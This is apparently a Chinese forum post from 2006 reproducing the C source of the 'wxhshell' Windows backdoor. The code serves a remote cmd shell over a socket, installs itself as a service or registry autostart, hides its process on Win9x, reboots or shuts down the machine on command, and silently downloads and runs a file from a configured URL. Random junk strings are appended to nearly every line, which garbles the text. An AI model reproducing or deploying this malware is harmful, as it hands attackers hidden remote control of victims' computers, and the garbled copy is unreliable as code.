  (h NSzG\  
  // 帮助 wgm?lfX<  
  case '?': { >3HLm3T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \IZfp=On  
    break; $<jI<vD+:  
  } )*[3Imq/  
  // 安装 &r \pQ};  
  case 'i': { _h#SP+>  
    if(Install()) U0}]3a0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]d]tQPEU  
    else 8$ dJh]\Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]a;<V9[  
    break; LD]>_P83  
    } S:qML]RO  
  // 卸载 q5il9*)d (  
  case 'r': { D{~mJDUzK  
    if(Uninstall()) > <WR]`G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cE S3<`[K  
    else {9wBb`.n^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y>zPsc,  
    break; eJ0PSW/4l  
    } _aOisN{  
  // 显示 wxhshell 所在路径 .@{W6 /I  
  case 'p': { ^J0*]k%   
    char svExeFile[MAX_PATH]; }0Isi G  
    strcpy(svExeFile,"\n\r"); 3RpDIl`0  
      strcat(svExeFile,ExeFile); Jt6~L5[_s  
        send(wsh,svExeFile,strlen(svExeFile),0); a@_.uD  
    break; AtNu:U$  
    } 6yZfV7I  
  // 重启 kb>:M.  
  case 'b': { GJW>8*&&(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0tVZvXgTu  
    if(Boot(REBOOT)) (I~-mzu\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )]Xj"V2  
    else { =>".  
    closesocket(wsh); 7B GMG|  
    ExitThread(0);  WTi8  
    } (JS1}T  
    break; VZNMom,Wr  
    } FVkb9(WW  
  // 关机 +o)o4l%3  
  case 'd': { qYj EQz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -Y'Qa/:7  
    if(Boot(SHUTDOWN)) R.Xh&@f`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l0Wp%T  
    else { '6*^s&H~  
    closesocket(wsh); [h7nOUL!  
    ExitThread(0); U1<EAGo|  
    } 1au1DvH  
    break; j!9p#JK#u  
    } #N\kMJl$l  
  // 获取shell h32QEz-+  
  case 's': { )`?Es8uW  
    CmdShell(wsh); qQC<oR  
    closesocket(wsh); tW;?4}JR  
    ExitThread(0); i_?";5B"  
    break; *Iv.W7 [  
  } We3Z#}X  
  // 退出 [*ylC,w  
  case 'x': { iLf:an*vH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7r,'a{Rcn  
    CloseIt(wsh); J+IQvOn_|  
    break; '6Dt@^-PZ  
    } jH26-b<  
  // 离开 e<s56<3j  
  case 'q': { c%-s_8zvi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K 8CjZpzq  
    closesocket(wsh); p@`rBzGp  
    WSACleanup(); <I .p{Z  
    exit(1); :Z|lGH =  
    break; i1RU5IRy|j  
        } Z(LDAZG  
  } "4N%I  
  } Ek\f x*Lz  
MJ^NRT0?b  
  // 提示信息 yyZ}qnbx]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6kH47Yc?  
} JF7n|o-`?  
  } x9}D2Ui  
5HP6o  
  return; 9!sx  
} 4?YhqJ  
gI rVrAV#  
// shell模块句柄 ldcYw@KQ  
int CmdShell(SOCKET sock) `c@KlL*!Q  
{ Yjxa=CD  
STARTUPINFO si; O8+e: K[D  
ZeroMemory(&si,sizeof(si)); >o #^r;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pnq[r2#]:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A[L+w9  
PROCESS_INFORMATION ProcessInfo; o_   
char cmdline[]="cmd"; .Lz\/ OS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O)C y4[  
  return 0; hl}@ha4'  
} F*QZVg+<*X  
"orZje9AC  
// 自身启动模式 {'dpRq{c|  
int StartFromService(void) 2b+cz  
{ xXQ#?::m  
typedef struct tK)E*!  
{ {`fhcEC  
  DWORD ExitStatus; ^SnGcr|a'  
  DWORD PebBaseAddress; v  P8.{$  
  DWORD AffinityMask; g+8{{o=  
  DWORD BasePriority; X~XpX7d!  
  ULONG UniqueProcessId; `btw*{.[  
  ULONG InheritedFromUniqueProcessId; -+4:} sD  
}   PROCESS_BASIC_INFORMATION; Y%!3/3T  
J^[>F{8!n  
PROCNTQSIP NtQueryInformationProcess; eaP,MkK&  
prE~GO7Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >-rDBk ;K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FEgM4m.(G<  
^ sIxR*C[v  
  HANDLE             hProcess; $ hwJjSZ0  
  PROCESS_BASIC_INFORMATION pbi; ?2hoY  
i6wLM-.)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tcOgF:  
  if(NULL == hInst ) return 0; v3 4!rL  
d U n+?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K~"uZa^s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KJc fbZ~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K~ gt=NH  
xe}d&  
  if (!NtQueryInformationProcess) return 0; Q?Vq/3K;  
HHa XK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |@KW~YlE  
  if(!hProcess) return 0; 4UD7!  
VS0 &[bl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '5zolp%St  
UD1R _bL}  
  CloseHandle(hProcess); )s^D}I(  
UZsL0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +O P8U]~  
if(hProcess==NULL) return 0; Dd8*1,  
} MBxfZ4I  
HMODULE hMod; ,Cx @]]  
char procName[255]; c!l=09a~a+  
unsigned long cbNeeded; .}gGtH,b3  
Dz$GPA   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xy[O  
_bB:1l?V  
  CloseHandle(hProcess); b 'p0T1K(  
Vg9n b  
if(strstr(procName,"services")) return 1; // 以服务启动 ${\iHg[vZ  
Gkci_A*  
  return 0; // 注册表启动 `7<4]#b^o  
} _E0XUT!rA  
#&zNYzI  
// 主模块  ! K:  
int StartWxhshell(LPSTR lpCmdLine) O ;,BzA-n  
{ .OI&Zm-  
  SOCKET wsl; le1  
BOOL val=TRUE; Gs^hqT;h  
  int port=0; 3e&H)  
  struct sockaddr_in door; eZpyDw C{  
! h7?Ap  
  if(wscfg.ws_autoins) Install(); It$'6HV~Sb  
n/$1&x1  
port=atoi(lpCmdLine); akg$vHhK4  
4cC  
if(port<=0) port=wscfg.ws_port; KLVkPix;$  
R5PXX&Q  
  WSADATA data; t[$C r;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x'dU[f(  
;!H<W[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R+vago:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]o}g~Xn  
  door.sin_family = AF_INET; :E ]Ys  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hKa<9>MI`  
  door.sin_port = htons(port); y(gL.08<  
fyYHwG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \@IEqm6  
closesocket(wsl); M\4pTcz{  
return 1; SMX70T!'9  
} 3$x[{\ {  
N|t!G^rP  
  if(listen(wsl,2) == INVALID_SOCKET) { D c5tRO  
closesocket(wsl); >TZ 'V,  
return 1; 5]_m\zn=  
} .!#0eAT  
  Wxhshell(wsl); nymF`0HYe1  
  WSACleanup(); $7k"?M_  
-!_f-Nny  
return 0; 2% ],0,o  
./SDZ:5/  
} xi5G?r  
Da.eVU;  
// 以NT服务方式启动 U$zd3a_(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vTE3-v[i  
{ NX wthc3  
DWORD   status = 0; \YXzq<7  
  DWORD   specificError = 0xfffffff; tOUpK20q.@  
i_/A,5TF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mab921-n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S5o\joc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1!N|a< #  
  serviceStatus.dwWin32ExitCode     = 0; !e>+ O^  
  serviceStatus.dwServiceSpecificExitCode = 0; )Z4ilpU,  
  serviceStatus.dwCheckPoint       = 0; ylFoYROO  
  serviceStatus.dwWaitHint       = 0; \gz(C`4{j  
..FEyf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $7J9Yzp?L  
  if (hServiceStatusHandle==0) return; 2HA-q),6  
{owXyQ2mK  
status = GetLastError(); rlUo#  
  if (status!=NO_ERROR) q<Tx'Ya  
{ #bI ,;]T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 80(Olf@PE  
    serviceStatus.dwCheckPoint       = 0; .|XG0M  
    serviceStatus.dwWaitHint       = 0; b'x26wT?  
    serviceStatus.dwWin32ExitCode     = status; Oy(f h%k#  
    serviceStatus.dwServiceSpecificExitCode = specificError; <Z b~tYp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eyM<#3\\S  
    return; S10"yhn(-t  
  } :%&|5Ytb  
)P13AfK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j p"hbV  
  serviceStatus.dwCheckPoint       = 0; \kN?7b^  
  serviceStatus.dwWaitHint       = 0; d_7v1)j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "2l$}G  
} "Zh3,  
P8& BtA  
// 处理NT服务事件,比如:启动、停止 |DUWB;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uU$YN-  
{ #)3luf3G  
switch(fdwControl) HB|R1<t;HB  
{ io&FW!J.  
case SERVICE_CONTROL_STOP: JxP&znng  
  serviceStatus.dwWin32ExitCode = 0; dG8_3T}i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ww? AGd  
  serviceStatus.dwCheckPoint   = 0; j\hI, mc  
  serviceStatus.dwWaitHint     = 0; d76nyQKK  
  { a:v5(@8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LE@<)}Au^  
  } QUQw/  
  return; Am'%tw ~  
case SERVICE_CONTROL_PAUSE: M6nQ17\{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `[)!4Jb  
  break; _^%DfMP3i\  
case SERVICE_CONTROL_CONTINUE: -- >q=hlA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U ;%cp  
  break; F<V.OFt  
case SERVICE_CONTROL_INTERROGATE: 2gasH11M  
  break; * \$m1g7b  
}; C%RYQpY*c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <%Al(Lm0  
} gJ=y7yX  
W1;QPdz:  
// 标准应用程序主函数 Xp67l!{v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >TQNrS^$J  
{ s~p(59  
;_~9".'<d  
// 获取操作系统版本 >0X_UDAWz  
OsIsNt=GetOsVer(); [r#m +R"N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TSKT6_IJw  
[d?tf  
  // 从命令行安装 S+ 3l X7  
  if(strpbrk(lpCmdLine,"iI")) Install(); =w5]o@  
jk\z-hd  
  // 下载执行文件 0h-'TJg*sk  
if(wscfg.ws_downexe) { (=-6'23q)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q "vhl2RX  
  WinExec(wscfg.ws_filenam,SW_HIDE); I/B*iW^  
} _ ?o>i/  
+RBX2$kB  
if(!OsIsNt) { A8X3|<n=  
// 如果时win9x,隐藏进程并且设置为注册表启动 +\R__tx;  
HideProc(); p![UOI"W  
StartWxhshell(lpCmdLine); |[_%zV;p>v  
} #E$*PAB  
else %,UTFuM`  
  if(StartFromService()) j 06 mky  
  // 以服务方式启动 V(5*Dn84  
  StartServiceCtrlDispatcher(DispatchTable); }?)U`zF)7}  
else p]eVby"  
  // 普通方式启动 9;7|MPbR  
  StartWxhshell(lpCmdLine); (V x2*Aw]  
OLZs}N+;]  
return 0; h(K}N5`  
}
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只看该作者 1 发表于: 2006-10-10
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